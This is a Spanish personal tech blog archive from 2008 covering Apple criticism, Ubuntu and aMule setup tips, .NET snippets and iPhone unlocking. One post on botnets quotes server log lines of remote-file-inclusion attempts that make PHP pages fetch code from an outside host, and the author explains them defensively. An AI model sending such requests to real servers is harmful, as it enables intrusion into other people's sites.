Me ha sorprendido que el podcasts de comunicando haya publicado un nuevo podcast tan rápido (visto su ritmo de publicación del Maestro Gelado), y han tratado el tema del nuevo iPhone de Apple...

Con sinceridad, estoy algo harto de todo el coñazo que estan soltando con el tema del maldito iPhone, que tengo que aclarar que lo tube hace bastante, y me di cuenta que es un movil muy recortadito y con bastantes carencias en cuanto a utilidades básicas (clamaba al cielo que no se pudieran enviar y recibir MMS).

El colaborador de este podcast, Sergio Schinoff, el cual es un Apple-maniaco declarado, resulta que sale criticando el nuevo modelo de iPhone, argumentando que no se han corregido las deficencias de dicho telefono. Ademas, deja en muy mal lugar las nuevas "herramientas web", el servicio "MobileMe" que ofrece, previo pago, Apple. Otros lo hicieron antes...

Digno de ser oido.

PD: Si, me estoy volviendo algo anti-apple.

miércoles, 16 de julio de 2008

Lista de distribuciones Linux para equipos "modestos"

¿Tienes un viejo 486 por ahí tirado?, ¿o un Pentium II con 64 de RAM que ya no vale para nada?... ¿Para nada?.

Vuelve a planteartelo. Amule, servidor web personal, servidor FTP para intercambio de archivos, un pequeño firewall en casa, etc... Todo eso se puede hacer con un linux y alguna de las distribuciones destinadas a equipos "modestos".

Hoy me he encontrado con esta magnifica lista: en el blog de Rafinguer. Simplemente muy ilustrativa. Ya no tienes excusa.

miércoles, 9 de julio de 2008

10 razones para no comprarme un Mac

Ahora que mi PC está dando sus últimos coletazos, y visto que tengo la necesidad de un ordenador mas o menos de gama media-alta, para utilizarlo en mi uso diario de internet, y pegarme unos vicios al juego de turno (aunque termino siempre jugando al mismo juego... del año del tararillo).

Me he tenido que plantear que quiero... ¿Qué necesito?. Internet+Juegos+"Tareas varias". Muy bien, y cuanta pasta, realmente no tengo una predefinida, pero nunca mas de 1200 euros. Tampoco tengo decidido si usar Windows XP (Vista JAMAS) o linux + Cedega. Vamos que estaba en plan flexible.

Como no, todos tenemos un amigo talibán de Apple, y pensé... ¿Y si me compro un Mac?. Me fuí raudo y veloz para la Store de Apple (vamos la tienda de toda la vida), y busque lo que mas se ajustaba a mi necesidades, un iMac.

Me junte con una serie de pegas imporantes, al menos para mi:

  1. El PUTO talibanismo que hay rodeando dicha empresa. Si Steve Jobs, caga una mierda con forma de ordenador y dice que es la mayor revolución del año, habrá una legión de talibanes que lo defenderán a muerte y te diran que hasta que no pruebes un Mac no puedes hablar, y bla... bla...
    Hay que reconocer que Apple ha hecho un gran trabajo de lavado de cerebro, ya que aunque no deja de ser la hermana pequeña de Microsoft, la gente si que la defiende a muerte, sin importar el radicalismo.
    Al parecer, tener un Mac, mola mucho, y te hace ser mejor persona y tener mayores conocimientos informaticos. O eso parece.
  2. Las tarjetas gráficas que monta son de risa, si contamos con que la tarjeta que lleva es de coña (las versiones de iMac con precio 999 a 1499 montan ATI 2400 -2600, tarjetas de menos de 50 euros)... ¿Me tengo que comprar el iMac de 1800 euros para estar seguro de tener una buena tarjeta de video?. Tampoco, ni en esa configuración, monta nada del otro mundo, una nVidia 8800, que seria la unica apañada para jugar a lo poquito que hay en Mac (eso si, lo que viene de Blizzard tambien sale para Mac).
  3. ¿999 euros por un Core Duo a 2400, 1 Giga de RAM, 250 de HD, y una ATI 2400?, basicamente un PC vale la mitad... Al menos tiene un monitor de 20 pulgadas. Demasiado mal en calidad/precio, punto muy importante en "mi proceso de selección".
  4. ¿Porqué tengo que comprar su sistema operativo?, yo no quiero Windows preinstalado, tampoco quiero el puñetero Mac OS X. Me apaño con mi Ubuntu+Wine+. Vamos que no se que dicen los talibanes Appleianos sobre Microsoft cuando Apple hace lo mismo.
  5. Al menos antes tenias un PowerPC... Ahora es un practicamente un clonico muy bien montado, y diseñado. Este punto es importante, ya que la mayoria de la gente que te vende esto chismes, te dice lo bueno que es el Front Row, Cover Flow, etc... es decir, te pone nombres chulos a aplicaciones o hardware que puedes comprar y montar en un PC normal.
  6. Si quieres mejorar tu configuración, en el proceso de compra via web, los de Apple te vacilan y te cobran a precio de oro los componentes... ¿Pondrán algun dia los pies en la tierra?.
  7. Si toco casi cualquier cosa de este ordenador me quedo sin garantia. No puedo ampliarlo... no puedo arreglarlo yo. Obligatoriamente tengo que comprar repuestos de Apple, segun el contrato de garantia, que no conozco donde los venden la verdad.
  8. ¿¿¿ 1 Año de garantia ???, por ley en este país (España) son 2. Vamos no soy el primero que se sorprende de la mierda de garantia que dan. Hasta los talibanes tienen problemas con esta garantia tan extraña (aunque lo endulzan para que no parezca un problema grave).
  9. iTunes... la peor aplicación que he conocido, junto con el paquete Office y el Windows Media Player 9 en adelante. Featuritis total, y encima te meten su tienda por los ojos... Aun recuerdo las criticas a Microsoft por cosas similares.
  10. ¿De verdad necesito un Apple?...

lunes, 23 de junio de 2008

Detalles y mas detalles, cuando tocas un raid con mdadm

¡Que grande es Iván López!. Tengo sus entradas de blog, como manuales para montar los raid en la empresa, pero... pero... no he encontrado una cosilla muy importante que no incluye en su manual.

Os comento mi caso: Se me jode la maquina con un raid0 (no tenemos problemas ya que se replica en otro equipo con raid0), pero al recuperarlo (se jodieron 2 discos duros), me encuentro con que otro administrador, torpemente, se ha cargado todo para reinstalarlo... ¡¡¡ No hacia falta !!!.

Bueno, despues de limpiarme las lagrimas, me doy cuenta que al arrancar el nuevo linux, ya me crea un raid, PERO con los dos discos nuevos sin estar dentro de el. No puedo incluirlos, ya que no se porque, linux no reconocia bien el nuevo raid.

Al tratar de crear todo de cero, me encuentro que todo esta bien, hasta que reinicio... que vuelve a quedarse como estaba... si, mis dos discos fuera, y el resto dentro. Tras mucho mirar, me di cuenta que los discos quedaban "marcados" en su superblock al raid (es decir, le dice que esta en el raid 0 de la maquina). Pero no me deja meter mas discos...

¿Solución?: mdadm --zero-superblock /dev/sdXX.

Ejecutando este comando para todos los discos duros de tu maquina que vayan a ser parte de tu raid.

Me costo pero al final lo encontré.

jueves, 19 de junio de 2008

Primera vulnerabilidad en Firefox 3.0

Para mear y no echar gota. Leo en Kriptópolis (via DVLabs) que ya han enviado la primera vulnerabilidad de Firefox, solo 5 horas después de su lanzamiento oficial de la versión 3.

Esta vulnerabilidad, permite ejecutar código arbitrario (es decir, ejecutar en tu ordenador algo... problema gordo) al pulsar un link con una construcción especial o visitando una web "malvada". Afecta a la rama 3.x y 2.x... practicamente el 90% de los Firefox que usa la gente.

Al parecer, no la van da divulgar, hasta que el equipo de Firefox la parchee, pero sin duda es una mala publicidad, sobre todo teniendo a Opera con 0 bugs actualmente. Seguramente, los tios que han descubierto este bug, han esperado hasta su lanzamiento para lograr mas bombo a su descubrimiento... ya que casi seguro esto fue detectado en la "Release Candidate" de Firefox 3.

Habrá que estar atentos...

Firma HTML con imágenes en Thunderbird 1.5

Otro pequeño consejo.

Hoy en el curro se nos ha presentado un "problemilla" bastante curioso. Se tenía que incluir una imagen que estaba linkada referenciada (malditos anglicismos) dentro de un HTML, pero se tenia que adjuntar como firma dentro de un correo en el Thunderbird.

El problema es que no se adjuntaban las imagenes, ni idea de porque hace esto el Thunderbird, pero si el HTML, lo que perdia la gracia de la firma.

Una solución que dan en los foros de ayuda de Thunderbird, es subir la imagen en un servidor gratuito de hospedaje de imágenes, y referenciarla en el HTML de la firma. Pero no es una solución "fina".

Tras pensar un poco, nos dimos cuenta que podriamos hacer lo que hacen algunos clientes de correo, que es "embeber" las imagenes dentro del codigo HTML, y tras un par de "preguntas" al Google, encontre esta web, donde te explican como hacerlo y te da las herramientas para hacerlo. Sencillo y fácil.

lunes, 16 de junio de 2008

Instalando Apache+PHP+MySQL (un servidor LAMP) en un solo click... :)

Joer, hasta a mí, me sorprende aveces Ubuntu.

Hoy he pensado que mi servidor de aMule, puede servirme tambien para meter este pequeño blog que apenas tiene visitas (algunas si... pero poca cosa, no como el bueno de Juli), y así le doy un uso mas intensivo y tambien no voy olvidando como hacer cosas en Linux... pero es que Ubuntu lo pone todo muy facil.

Para instalar un pequeño servidor casero: Synaptic - Editar - Marcar paquetes por tarea... - LAMP. Ya está. Solo queda cambiar la contraseña del MySQL (si quieres claro).

Facil.

Migrando a linux... de eMule a aMule (II): Fallos mas compartición para Windows

Siguiendo con mi "pequeña" migración de mis necesidades de Windows a Linux (concretamente al "sabor" de Ubuntu), tengo que seguir buscando varios métodos para que vivan los equipos Linux y Windows en una red doméstica.

Centrandonos en el aMule, ya tenemos un demonio aMule corriendo en una maquina bastante modesta, y sin interfaz, y lo controlamos desde una maquina Windows con el aMuleGUI. Pero... ¿donde cojo los ficheros que se baja mi aMuled?.
Esto lo lograremos mediante el maravilloso Samba, que nos permite compartir nuestras carpetas de linux en una red Windows... y además, con la última versión de Ubuntu, esto es muy facil.

Lo primero: Ir a Sistema > Administración > Red y luego en la pestaña de General (o sigue esta guia) y poner el nombre de la red común que tendrán las maquinas linux y windows, por ejemplo CASA, WORKGROUP, MIRED, ... y reinicia la maquina o el samba (sudo /etc/init.d/samba restart).

Ahora se puede visitar la red desde la barra de Lugares. Y ver lo que tiene compartido las maquinas.

Pero ahora queremos que la carpeta que tiene el "Incoming" de aMule (busca y configura el directorio, en el fichero de tu /home/USUARIO/.aMule/amule.conf un campo que se llama "IncomingDirectory" o algo así y pon el directorio que quieras y que tu usuario tenga permisos, como por ejemplo en tu home la nueva carpeta "Publico" que tendras).
OJO: en el pasado post, decia que este parametro se puede modificar mediante el GUI, y parece que no... tienes que cambiarlo mediante el fichero de configuración a mano. No es difícil pero es un engorro.

Esta carpeta tendremos que compartirla mediante Samba. Esto es muy sencillo gracias a la versión 8.04 de Ubuntu, ahora compartir los ficheros, es muy sencillo. Simplemente, hay que pulsar al boton derecho sobre la carpeta, y dar a compartir. Damos permisos para que se puedan escribir y por parte de usuarios anónimos... y ya lo tenemos.

Así de sencillo...

PD: Si tienes dudas, deja un comentario.

miércoles, 21 de mayo de 2008

Migrando a linux... de eMule a aMule

Hoy estoy activo. Si, es lo que tienen los dias con estrés, que no puedo desconectar. Os voy a contar como quite mi eMule y lo pase todo a una maquina linux... y encima lo controlo todo desde mi viejo Windows.

Hace tiempo me hice con un pequeño PC, una maravilla llamada Fujitsu Scenic xSP (aunque algo dopado a 800 MHz, 392 de RAM... y un HD de 80 gigas) que tenía en casa de mis padres algo olvidado, y lo he reconvertido en una Ubuntu con Gnome (XFCE no iba bien con la tarjeta intel i810 que tiene este ordenador... ni idea porque).

Una vez instalado, instale amuled, amulegui, y amuleweb (via apt-get, aptitude o synaptic... no será por opciones) y luego seguí esta guia que encontre googleando un poco (ojo no lo sigas hasta el final): Link.
Sigue hasta el paso 4 de esta guia. Una vez hecho, lanza el amulegui y pon el password que pusiste en el paso 2 de la anterior guia. Ahora puedes configurar lo que te de la gana tranquilamente y sin tener que tocar un puto archivo. OJO, que no respeta lo que hayas tocado a mano, asi que tendras que volver a activar las conexiones remotas (esto es primodial, ya que si no nada funciona), y los passwords. Si te apetece, tambien activa el interfaz web, para usarlo para fuera de tu casa, y ver tus descargar desde el curro (por ejemplo).
Tras poner todo como tu antiguo eMule, y cambiar la configuración de router para que apunte a la nueva maquina, volvemos a tu viejo Windows, y solo tienes que bajar de este FTP la última versión que veas por alli (la 2.2.0 es la que yo uso) que encontre por este foro.

Desde tu windows, conecta a tu maquina linux... y a disfrutar.

Memorias de un programador... hoy: File.islocked()

No busqueis entre las librerias de .NET... esa función no existe. Una función que nos indique si un fichero esta bloqueado por otro proceso no existe dentro de System.IO.File, y muchos pensareis, ¿para que coño la quieres?.

Pensar en concurrencia, pensar en distintos procesos en distintos programas que necesitan leer ficheros, y que uno de esos procesos, este escrito en un lenguaje que no diferencia entre "Read", "Write" ni la madre que lo pario.

Entonces este programa escrito en un lenguaje que tendría que se sacrificado en una hoguera, cada vez que lee o escribe un fichero, lo deja bloqueado hasta que se acuerda que lo tiene pillado.

Bueno, veamos que nos ofrece la .NET (v2) para detectar y evitar dicho problema. NADA... Joder, asi que toca hacer una ñapa o programarlo como dios manda (isLocked, estaria bien)... con lo que queda algo asín:


public static bool isLocked(string ruta)
{
StreamReader st;
bool lockedDAT = true;

// Este bucle nos permite esperar a que el modulo fortran logre
// escribir el fichero DAT, antes de que nosotros tratemos de abrirlo.
// Con ficheros muy grandes puede pasar que de errores.

try
{
st = new StreamReader(File.Open(ruta, FileMode.Open, FileAccess.Read));
st.Close();
lockedDAT = false;
}
catch
{
Console.Out.WriteLine("Postproceso: Fichero DAT bloqueado");
lockedDAT = true;
}
return locketDAT;


¿A que mola la ñapa?

viernes, 16 de mayo de 2008

Errores tontos con Ubuntu 8.10 (I): GDM...

Y ahora una de errores que ocurren con una Ubuntu en una maquina un poco "especial".

Si tu GDM, parece que se sale de la pantalla, es decir, que es mas grande que la resolución que tiene tu monitor, la solución está en el fichero "/etc/X11/xorg.conf" y buscar una linea que ponga "Virtual". Esa es la resolución que lee el GDM, así que tendras que cambiarla a la resolución que tengas...
Imagino que ese error se solucionará, con alguna actualización pero ahora mismo esta es la solución mas sencilla (al parecer comentar la linea no funciona).

domingo, 20 de abril de 2008

Lentitud en documentos OpenOffice, facil arreglo

¿Tienes un documento de OpenOffice con muchas imágenes y le cuesta cambiar de página?. El problema es porque este gran software viene con unos limites bastante estrictos en cuanto al uso de memoria que puede utilizar.

Para cambiar estos límites, tan solo subelos en "Herrramientas - Opciones - Memoria de trabajo". Sube la "cache de imagen", hasta 50~100 megas y el resto en sintonia con este parametro. Os aseguro que el cambio es inmediato.

Facil y sencillo.

sábado, 12 de abril de 2008

Actualizando mi portátil a Ubuntu 8.04

Mi, ya "viejo", HP Pavilion dv5000 el cual uso para mi proyecto de fin de carrera (en windows obviamente) y como ordenador "para internet" (con una Ubuntu 7.10) que me ha dado muchos quebraderos de cabeza para hacerlo funcionar al 100%, aunque ya lo habia conseguido, aunque le echaba en cara algun que otro problema, como por ejemplo cierta lentitud al arrancar las X al arrancar por primera vez.

Realmente mi uso de linux se basa en firefox, evolution, y Lifearea. Para poco mas uso linux, y de verdad que me encanta usarlo.

Ahora, toca actualizar la Ubuntu a la versión 8.04, si aun está en fase beta, pero tenia ganas de pelearme otra vez con mi Ubuntu, además de probar alguna de sus novedades para mi empresa (la "supuesta" supercompatibilidad con Active Directory me interesa mucho)... ¿que me deparará dicha actualización?.

La actualización, como siempre muy fácil, pon en la consola: "sudo update-manager -d" y seguir los pasos en pantalla. Sobre una hora mas tarde, tenemos un Ubuntu 8.04...

¿Problemas?... varios.

  • En el fichero /etc/hosts no aparecia el nombre de mi maquina, si no con el formato "maquina.red". Esto hacia que el comando "sudo" no funcionaba porque no encontraba mi maquina en este archivo. Arrancar en modo admin desde el boot y cambiar el fichero... sencillo. Ya me habia pasado otras veces.
  • Mi wifi, necesita un firmware especial no libre... pero el interfaz se estrellaba cuando lo arrancaba. El programa era /usr/bin/jockey-gtk. La solucion fue la primera entrada de google: aquí.
Ya os contaré que tal el resto.

martes, 25 de marzo de 2008

Migra tus Access a MySQL, muy fácil.

Por necesidades de la vida, y por las limitaciones que tiene el formato Access de Microsoft, me he encontrado con el problema de migrar estos fichero a una base de datos de verdad, como puede ser MySQL.

Una parte esencial es la de desbloquear ciertas tablas ocultas en un fichero mdb. Solo hay que seguir la siguiente guia, donde nos dejan claro que la gente de Access tiene mucho que ocultar :)

martes, 18 de marzo de 2008

Hurra Torpedo: Hacer música con electrodomésticos (mas bien basura)

¿Hacer música con basura?. Eso intentan Hurra Torpedo (web oficial). Mas concretamente estos noruegos se especializan en usar electrodomésticos a modo de acompañamiento de una guitarra, reviviendo viejos éxitos poperos de los '80 (bueno, no tan viejos).
Aparte de dicha caracteristica inusual, los tios visten de manera que en España podiamos llamar "Manolo y compañia" con las manos en la masa, enseñando, o mas bien intuyendo, raja del culo y descamisados como currrantes natos... Y no hablamos de sus pintas. Vamos, dignos de ser vistos en directo.

Según la Wikipedia, no son un grupo en si, se juntan, hacen una gira y desaparecen por un año. Tiene 2 CDs editados que dios sabe donde coño se podrán comprar aunque aseguro que en mas de alguna colección de discos mataria por tener tales joyas.

No me enrrollo mas y os dejo sus videos:






Bricomania: How-To para hacer unas estanterias invisibles para libros

Via LifeHacker, me encuento un sencillo manual de como hacer unas estanterias para tus libros de manera "invisible". El truco esta en odiar un libro lo suficiente como para sacrificarlo de manera que lo sentenciaremos a ser el apoyo del resto.
Ojo, porque requiere usar una maquina de taladrar, y ganas de perder el tiempo. ¿Tiembla IKEA?.



miércoles, 12 de marzo de 2008

Cyberdunk, vuelve a ser un vicio...

Desde luego, este juego me ha vuelto a enganchar. Soy jugador, desde hace ya unos meses, y perdí el interes, pero ahora ha vuelto con todo su explendor, al "regalarme" cyberdunk un nuevo jugador que puedo crear desde cero.
Se trata de un simulador de baloncesto online, basado en un interfaz web, y bastante simple, aunque puede llegar a ser un verdadero dolor de cabeza. Hay una burrada de jugadores (dicen en su web que 5,6 millones (imagino entre jugadores controlados por humanos y no humanos), 300 ligas y nada menos que 150 paises.

Tiene una parte de "pago", para comprar y dirigir equipos, mejorar tu jugador, o hacer equipaciones (que nos daran puntos extra al jugador) personales. Pero el juego en si es 100% gratuito.

La verdad que esta mejorando bastante el juego, ahora hay selecciones, se pueden seguir bastante bien las competiciones tipo copa y demas. Vamos que estoy redescubriendo este jueguecito.

Pasaros por aqui: http://www.cyberdunk.com/ y si me quereis dar unos puntos extra a mi jugador usar este enlace.

lunes, 10 de marzo de 2008

La vergüenza de un PPero

Como unos ultras, avergüenzan a un votante del PP. Una auténtica vergüenza lo que hay suelto en los partidos políticos. Con amenazas de muerte incluidas.

¿Este es el famoso giro a la derecha del PP?

lunes, 3 de marzo de 2008

Aserejé (versión Trash Metal)


No tengo palabras.

sábado, 1 de marzo de 2008

Las Bot-Nets esta ahí y son peligrosas

A lo largo del mes pasado, Ricardo Galli (del cual he hablado antes en esta web) ha denunciado la existencia de redes de bot-nets que se comportan como soldados de fortuna, es decir, se alquilan al mejor postor para tirar sitios mediante ataques DDoS, y quien sabe para que mas.

Esto me dejó muy perplejo, ya que va mucho mas allá de lo que yo nunca vi hacer en mis épocas de coqueteos con el mundo "under". Hay organizaciones, o mejor dicho grupillos, de usuarios que hackean servidores por diversión, para usarlo para alojar warez, y para mas cosas bastante "inofensivas" (que nadie se cabree, pero nunca para joder a nadie). Algunas están muy a la luz, y se dedican a explotar exploits viejos de sistemas o programas para instalar sus propios programas en maquinas remotas o optener acceso. Pero no destruir nada.

A raiz, del famoso ataque a Genbeta y a Galli (tirar de google, ya que encontrareis muchos resumenes), han surgido muchos nombres, y se han destapado mucha basura...

La mayoria de nosotros, pasariamos de largo, ya que nos da un poco igual, pero mi curiosidad ha ido un poco mas allá... Mire unos log de un servidor web. Y me encontré con rastros muy explicativos:

83.172.140.56 - - [29/Feb/2008:12:56:41 +0100] "GET //core/admin/categories_add.php?absoluteurl=http://infectada.net/modules/.jpg?? HTTP/1.1" 404 8318 "-" "libwww-perl/5.65"
83.172.140.56 - - [29/Feb/2008:12:56:42 +0100] "GET /core/admin/admin.php?p=admin&absoluteurl=http://infectada.net/modules/.jpg?? HTTP/1.1" 404 8318 "-" "libwww-perl/5.65"
83.172.140.56 - - [29/Feb/2008:12:56:43 +0100] "GET //core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=http://infectada.net/modules/.jpg?? HTTP/1.1" 404 8318 "-" "libwww-perl/5.65"

Estudiemos que esta ocurriendo, simplemente estamos viendo un intento de escaneo del servidor. La maquina infectada, 83.172.140.56, esta siendo controlada y prueba si es capaz de hacer un RFI, en el servidor. ¿Lo cualo?, vale, mas simple: esa ip, trata de ejecutar el código que contiene la web "infectada.net", que aunque tiene pinta de ser un jpg, no deja de ser una pieza de codigo PHP, que simplemente testea si se puede hacer el exploit. Si es asi, deja un log para luego atacar la web. El código en cuestión suelen ser derivaciones de un script programado por un tal "Mic22". Cuando te marcan como infectable, por el mismo método, pueden ejecutar un script que escriba otro código, aun mas malvado, en tu servidor y ser ejecutado simplemente visitando una pagina de tu web.

Es de destacar, que para hacer un RFI, se tienen que dar ciertas condiciones que no son muy normales, como una configuración del PHP, y tener una página con PHP con un codigo que permita ejecutar otro archivo. Pero curiosamente, hay una barbaridad de páginas infectadas.
A cualquiera nos pueden joder, mas aún usando scripts como PHPNuke, Wordpress, etc... Resulta mucho mas sencillo infectar sistemas que con el clasico overflow.
Tan sencillo, como que hay varios manuales que explican como hacerlo... si no, aquí uno sencillo.

¿Soluciones?. Manten tus web libres de bugs, actualiza tus scripts (si los usas), usa el .htaccess, y simplemente revisa tus logs. Pero, será dificil lograr no resultar escaneado, ya que sin duda, cada vez es mas sencillo hacer una botnet.

jueves, 28 de febrero de 2008

Lloriqueos de un programador

Toño y yo, aun nos tiramos de los pelos, tras encontrarnos esto en .NET:

?float.Parse("180018.98")
180018.984
?double.Parse("180018.98")
180018.98
Esto es duro, maldita coma flotante. ¿No entiendes lo que pasa?, miraté de nuevo tus principios de representación en coma flotante... Aún así, es duro de depurar.

Este post es muy típico de Ricardo Galli.

miércoles, 27 de febrero de 2008

El factor homogenizador de Windows Vista

Da igual que tengas un pepino de ordenador o un ordenador de 300 euros. Con Vista todo funciona igual de mal.

Anónimo dixit

domingo, 17 de febrero de 2008

Una bonita foto y una bonita ilusión.

Quizás no lo veais al principio, pero merece la pena mirar fijamente la foto, relajar la vista y quedarte alucinado ante la visión. Yo tras verlo, me he quedado sin palabras.




Pulsar para verla mas grande, y os aseguro que no tiene nada que ver con arboles, ni bosques... :)

Via: Webmaníacos

jueves, 14 de febrero de 2008

Esta canción... sobre cosas importantes

Si una canción puede expresar la visión de un tio normal sobre el futuro y esas cosas fundamentales, creo que es esta...


Mama Ladilla - Persiguiendo el futuro

Nueva mesa de mezclas para el DJ: Fisher Price

Si, como lo estais oyendo. Una nueva mesa de mezclas con una tocadiscos para niños de Fisher Price. Hasta el tio hace una demostración de lo bien que suena y como hacer algo de scratch. Genial.





Visto en http://blog.forret.com/

miércoles, 13 de febrero de 2008

ziPhone: tu iPhone es libre...

Ha llegado el sumun.

Acaban de lanzar el programa definitivo (hasta que saquen otro firmware) para liberar tu iPhone tenga el firmware que tenga y aunque sea OTB. El autor (zibree, aunque GeoHotz es quien ha realizado toda la investigación para el unlock, gracias manel) ha creado un todo en uno, con una bonita pantalla en windows para lograr liberar tu iPhone pulsando 4 botones. Solo hay que seguir lo que sale en pantalla.

Se llama ziPhone y hace de todo (jailbreak y unlock). Descarga.

Via: applesfera

El ego y la egocentroesfera.

Troceando, relamiendo y descartando entre las novedades de los blog que suelo leer (larga vida al RSS), me encuentro con una gran descojonante inspirada (sin adjetivos) entrada de Alfredo de Hoces sobre una entrada de Enrique Dans. Si leemos con detenimiento el post de Dans y luego el de Alfredo, no podemos alabar la ironia y la mala leche de este último.

Don Alfredo de Hoces para mi es una referencia obligada a ser leida cada día, lastima que ultimamente no se prodige mucho en su blog.

Recomendación de dia...

martes, 12 de febrero de 2008

(Cutre) Análisis de un Nokla N95 (si, si, nokLa)

De lejanas tierras, me han traido un movil para que trastee con él. Desde Tailandia nada menos. Al abrir la caja me he quedado alucinado... ¡¡¡ Un puto N95 !!!, el puto iPhone Killer. De la todo-poderosa Nokla... ¿Nokla?. Mierda, me la han metido doblada, estos Tai son unos hachas con el pirateo. Aun así voy a ver de que va este trasto.
Os dejo una instantánea junto con un Nokia nosequé de mi mujer que es real y comprado con el sudor de nuestra frente (bueno de mi cuñado xD), para que veais, que estos chinos son la leche copiando. Si tubieramos un N95 al lado casi no habría manera de diferenciarlos, es la leche. Cualquier dia nos la cuelan a cualquiera (aunque hay que reconocer que en Tailandia, cuna de las cosas falsificadas, te la meten doblada incluso en las tiendas tipo "Corte Ingles").

Tras leer un poco por internet, y leer, veo que hay mucho cabrón tratando de vender este chisme por 200 y 300 leuros. Realmente no se la pasta que ha valido, pero desde luego no tiene la calidad de un telefono Nokia ni de coña. También encuentro que tiene varios nombres como CECT N95. Realmente hay muchos modelos de esta empresa que tratan de hacerlos parecidos a modelos ya existentes en el mercado, aunque la verdad que este les ha salido bastante bien.

Para empezar, parece un N95, la caja es pelín cutre pero da el pego. Si os fijais los caracteres del nombre de la marca son diferentes a los de Nokia. La caja es la clasica de carton, y dentro todo viene como los clasicos productos de china, muy mal envalado y con todo muy cutre, salvo y remarco el salvo, el teléfono que da el pego perfecto. No trae la marca serigrafiada por ningun sitio. Parece tener un buen acabado y el tacto de los botones es aceptable. Si quitamos la caja, casi parece de verdad. Luego hablaré mas de él.

Dentro de la caja, muchas cosillas. Algo que me ha sorprendido, dos baterias ¿tan malas serán?. Tambien un adaptador a corriente (tanto con enchufe plano como redondo con un cutre adaptador) que se conecta a un cable USB (no es estándar asi que descojonaros como se joda el cable). Este adaptador tiene una parte plana donde se puede cargar la otra bateria (joder, que bien pensado). El manual de instrucciones lo podias haber impreso en casa, ya que esta mal hecho, mal ordenado, mete caracteres raros dentro y explica lo justo y necesario. La garantía no existe y no hay ni un CD o página web de contacto.

Ahora vamos al télefono. Segun su caja, tiene bluetooth, Xpress, Adobe, Radio, Java y una cámara Zeiss. Según mis testeos no tiene nada de eso. No os engaño, ni de coña tiene lo que pone. Vale que sea muy parecido a un N95 y venda por eso, pero al menos no engañes al personal con lo que pones en la caja... Vamos, mi cabreo (no se porque, si es gratis) va en aumento. Así que vamos a arrancar el chisme... es sencillo, pero durante 3 segundos no reacciona y la pantalla se queda en negro (ostia, como los Nokia xD), y de golpe sale un video de un puto pingüino dando voces, y os aseguro que estube a punto de tirar el movil al suelo. Ni logo ni leches, ni eslogan... un video chorra y a correr, una mierda vamos. Una cosa bastante chula del movil es que lleva dual-sim, es decir, podemos meter dos tarjetas sim para tener dos lineas, aunque no tengo ni idea de como darle uso desde el menu, ya que no he visto donde se hace.

Aunque si leeis el analisis de "movilae.com" deciros que lo han escrito de oidas, ya que ni de coña tiene las mismas caracteristicas que el original N95. No tiene Wifi, no tiene GPS, no tiene acelerometro, no tiene radio, y no tiene casi de nada. Hasta la camara que esta sobre la pantalla es de pega... o yo no he encontrado donde coño se activa. Tiene un interfaz clavado al de Nokia "N series" del cual han robado las ideas y encima los iconos. La camara de fotos pone que tiene 5.5 Megas y creo que se queda en 2... ¿Mas mentiras?, no hacian falta. Si me conformo con poco en este sentido.

Ojo, que algo que si tiene es pantalla táctil... si os lo juro, yo tambien me he quedado alucinado, pero lo mas divertido es que te pide que calibres la pantalla con el puntero... ¡¡¡Pero si no viene puntero!!!, ademas no hay donde meterlo en la carcasa, así que usamos el mítico "uñing" para teclear en la pantalla. Tras buscar por los "settings" me encuentro que no tiene idioma en castellano... joder. Eso si, Tai, Chino, y mas idiomas raros...

A destacar un juego que tiene que es un juego sobre sushi, o algo así... acojonante lo bonito que se ve, con una musica bastante rayante.

Tras tocar y tocar, decir que el telefono es deslizante, aunque se puede marcar en la pantalla, tiene un buen tacto la parte deslizante pero luego tiene cierta holgura que da la sensación que te lo puedes cargar con facilidad. Abajo de la pantalla tiene como unos botones de acceso rapido a mensajes, telefono, etc... que funcionan bastante aceptablemente.
En cuanto a los menus, es rapido, aunque apenas tiene nada. Tambien se puede conectar al PC donde sale como un disco duro de 256 Megas, que es una tarjeta metida dentro del teléfono (no se que tipo ya que es muy cutre y entra a presión).

Resumiendo: Divertido meter mano a esto, divertido buscarle pegas, pero que se lo quede otro. Gracias. Fotos no.

lunes, 11 de febrero de 2008

Primer paso para el Homebrew en Wii

Parecia impensable hace unos meses, pero gracias a un hack descubierto en el juego Zelda TP, que casi todo el mundo tiene, estamos a un paso de poder ejecutar programas en modo Wii (y tambien cargar juegos... aunque eso me interesa menos), de manera que veremos hasta donde llegan los programadores noveles que suelen hacer cosas muy chulas.

Por ahora solo es un inicio, ya que el hack no hace nada, pero al menos ejecuta codigo para Wii... ¿Quieres probarlo?

Tutorial definitivo para desbloquear el iPhone 1.1.2/1.1.3 con bootloader 4.6

Os dejo el tutorial definitivo para desbloquear un iPhone:

viernes, 8 de febrero de 2008

Unlock para iPhone 1.1.3 OTB, 100% software... GeoHot wins!

Lo hizo. GeoHot lo ha conseguido.

Tiene un unlock, 100% software y para los 1.1.3 OTB. Os dejo el ansiado link al post, y las herramientas necesarias. Os aviso que no se saben de efectos secundarios del unlock, pero al menos nadie se ha quedajo aun de ningun fallo.

jueves, 7 de febrero de 2008

500 millones de arboles en 4 años... hacemos calculos

Las propuestas electorales estan muy bien, pero podriamos hacer numeros, ya que últimamente tengo que oir muchas chorradas, y son faciles de desmontar. Solo con la calculadora de mi Ubuntu. Vamos a ver como Mariano se fumo algo mu raro cuando ha propuesto plantar 500 millones de arboles en 4 añitos de nada.

Hagamos numeros:

500.000.000 /4 = 125000000 (Arboles por año)
125.000.000 / 365 = 342465,753424658 (Arboles por dia... bueno no tengo en cuenta el año bisiesto)
342465 /24 = 14269,406392694 (Arboles por hora)
14269 / 60 = 238 (Arboles por minuto... Redondeando)
238 /60 = 4 (Arboles por segundo)

Total: 4 arboles/sg.

Ahora bien, vamos a ir un poco mas allá. ¿Cuanto se tarda en plantar un árbol?, pongamos 5 minutos (sin contar nada de traslado, realizar el hueco en la tierra, ni demas cosas, y encima tirando por lo bajo).

1 Persona = 12 arboles a la hora.
1 Jornada laboral (8 horas) = 96 al dia.
1 Semana laboral (5 dias) = 490 a la semana.
1 Año laboral (45 semanas... ¿no?) = 22050 al año.
1 Legislatura (4 años) = 88200 a la legislatura.

500.000.000 / 88200 = 5669 personas tendrian que ser contratados para plantar a ese ritmo.

Total (teniendo en cuenta una mierda de sueldo, 900 euros brutos, en catorce pagas):
5669 * 4 * 14 * 900 = 285.717.600 euros.

Es decir: Mariano se quiere gastar 286 millones de euros en plantar arboles... ¿no estabamos en crisis?. Por favor, no somos gilipollas, hacer propuestas que tengan algo que coherencia y dejar de decir chorradas.